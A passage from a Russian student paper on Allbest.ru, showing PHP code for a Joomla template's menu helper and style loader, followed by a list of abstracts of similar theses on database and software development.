if ($pid) {
return $this->items[$pid]->name;
}else return "";
}
function removeMenu($menutype = 'mainmenu')
{
$tt =& JModuleHelper::_load();;
foreach ($tt as $k=>$mod)
{
if ( ! is_object($mod) )
continue;
if (preg_match("/menutype=$menutype/i", $mod->params))
{
$tt[$k]->position='none';
}
}
}
}
$jparams = new JParameter(''); $jparams->set( 'menutype', 'mainmenu' );
$hmenu = new hm_Base ($jparams); $hmenu->removeMenu();
?>
4. styleloader.php
<?php
defined( '_JEXEC' ) or die( 'Restricted index access' );
$fontstyle = "f-" . $default_font;
$mtype = $menu_type;
$cookie_prefix = "nbus-";
$session = &JFactory::getSession();
//load menu type
if ($session->get($cookie_prefix. 'mtype')) {
$mtype = $session->get($cookie_prefix. 'mtype');
} elseif (isset($_COOKIE[$cookie_prefix. 'mtype'])) {
$mtype = htmlentities(JRequest::getVar( $cookie_prefix.'mtype', '', 'COOKIE', 'STRING'));
}
$menu_type = $mtype;
$thisurl = $_SERVER['PHP_SELF'] . rebuildQueryString();
function rebuildQueryString() {
$ignores = array("contraststyle","fontstyle","widthstyle");
if (!empty($_SERVER['QUERY_STRING'])) {
$parts = explode("&", $_SERVER['QUERY_STRING']);
$newParts = array();
foreach ($parts as $val) {
$val_parts = explode("=", $val);
if (!in_array($val_parts[0], $ignores)) {
array_push($newParts, $val);
}
}
if (count($newParts) != 0) {
$qs = implode("&", $newParts);
} else {
return "?";
}
return "?" . $qs . "&"; // this is your new created query string
} else {
return "?";
}
}
?>
Размещено на Allbest.ru
...Подобные документы
Разработка программного продукта "ИС Автотранспорт". Автоматизация функционирования автопарка и временного склада товаров, учета заявок клиентов и заполнения путевых листов. Реляционная модель базы данных. Описание функционирования программного продукта.
дипломная работа [1,8 M], добавлен 14.03.2017Обоснование выбора языка программирования. Анализ входных и выходных документов. Логическая структура базы данных. Разработка алгоритма работы программы. Написание программного кода. Тестирование программного продукта. Стоимость программного продукта.
дипломная работа [1008,9 K], добавлен 13.10.2013Инструментальные средства разработки сайта. Таблицы базы данных, их описание. Общие принципы разработки программного продукта. Структура программного продукта клиента. Страница информации о пользователе и его заказов, информационная безопасность.
дипломная работа [3,5 M], добавлен 14.06.2012Разработка базы данных, которая выдаёт информацию о клиентах фирмы, объектах выставленных в данный момент на продажу, а также о проданной недвижимости. Описание жизненного цикла программного продукта. Описание программы, инструкция пользователю.
дипломная работа [1,3 M], добавлен 07.01.2009Расчет издержек предприятия на разработку программного продукта и экономической эффективности от его внедрения. Топология физических связей и структуризация сети. Характеристика программного обеспечения. Средства автоматизации, описание алгоритма задачи.
дипломная работа [867,6 K], добавлен 05.11.2015Назначение программного модуля (базы данных). Разработка информационной базы данных для колледжа. Поиск пользователями информации о преподавателях и дисциплинах. Анализ входной и выходной информации. Разработка алгоритма работы программы-приложения.
реферат [513,1 K], добавлен 22.10.2012Проектирование программного модуля: сбор исходных материалов; описание входных и выходных данных; выбор программного обеспечения. Описание типов данных и реализация интерфейса программы. Тестирование программного модуля и разработка справочной системы.
курсовая работа [81,7 K], добавлен 18.08.2014Техническое задание на разработку программного продукта и требования к программе. Написание алгоритма работы и разработка интерфейса программы. Руководство системного программиста и оператора. Основные методы и принципы тестирования базы данных.
дипломная работа [2,7 M], добавлен 27.01.2013Разработка автоматизированной базы данных (БД) для больницы, которая поможет пользователю легко найти нужную информацию о любом сотруднике или пациенте. Выбор системы управления БД и программного обеспечения. Описание работы программного продукта.
дипломная работа [1,9 M], добавлен 26.03.2013Разработка эскизного и технического проектов программы, ее назначение и область применения, описание алгоритма, организация входных и выходных данных. Выбор состава технических и программных средств, разработка рабочего проекта, спецификация программы.
курсовая работа [700,6 K], добавлен 26.01.2010Проектирование логической модели системы: контекстная диаграмма и детализация процессов, реализация ссылочной целостности. Описание работоспособного программного обеспечения для проекта. SQL-определения запросов. Описание базы данных контрольного примера.
курсовая работа [91,4 K], добавлен 01.09.2010Проектирование базы данных, информационной подсистемы PLC-Tester, модуля тестирования и web-приложения. Разработка логической структуры программного продукта и общие требования к техническому обеспечению. Запуск программы и описание тестовых прогонов.
дипломная работа [3,2 M], добавлен 30.06.2011Разработка алгоритма решения задачи численного интегрирования методом трапеции. Словесное описание и блок-схема разработанного алгоритма программы. Описание интерфейса, главного окна и основных форм программы. Проверка работоспособности программы.
курсовая работа [1,4 M], добавлен 16.03.2012Описание предметной области, определение функциональных требований к системе и построение диаграммы потока данных. Построение модели "сущность-связь", описание сущностей и атрибутов модели. Построение реляционной базы данных и описание ее таблицы.
курсовая работа [624,5 K], добавлен 30.05.2019Офисные программы, необходимые для автоматизации работы турфирмы. Описание входной и выходной информации, структуры базы данных. Аппаратное и программное средства для функционирования автоматизированной информационной системы, ее работоспособность.
курсовая работа [902,2 K], добавлен 02.05.2017Общая характеристика и функциональное назначение проектируемого программного обеспечения, требования к нему. Разработка и описание интерфейса клиентской и серверной части. Описание алгоритма и программной реализации приложения. Схема базы данных.
курсовая работа [35,4 K], добавлен 12.05.2013Характеристика структуры, программного обеспечения и основных бизнес–процессов ЗАГСа. Разработка базы данных и структуры сайта для молодоженов. Управление аккаунтом пользователя, описание страниц сайта. Расчёт экономических затрат на создание сайта.
дипломная работа [448,5 K], добавлен 14.01.2013Описание программного продукта, решающего задачу по автоматизации сбора данных, связанных с деятельностью кружка по программированию. Изучение и совершенствование навыков программирования на различных языках среди студентов и школьников старших классов.
дипломная работа [418,3 K], добавлен 10.07.2017Характеристика задачи АВ01, ее выходная и входная информация, выбор и обоснование состава технических средств и средств программной реализации. Разработка алгоритма и программы решения задачи АВ01, руководства пользователя и контрольный пример решения.
курсовая работа [2,1 M], добавлен 21.12.2011Создание базы данных и СУБД. Структура простейшей базы данных. Особенности языка программирования Турбо Паскаль. Описание типов, констант, переменных, процедур и функций. Описание алгоритма базы данных (для сотрудников ГИБДД), листинг программы.
курсовая работа [26,3 K], добавлен 26.01.2012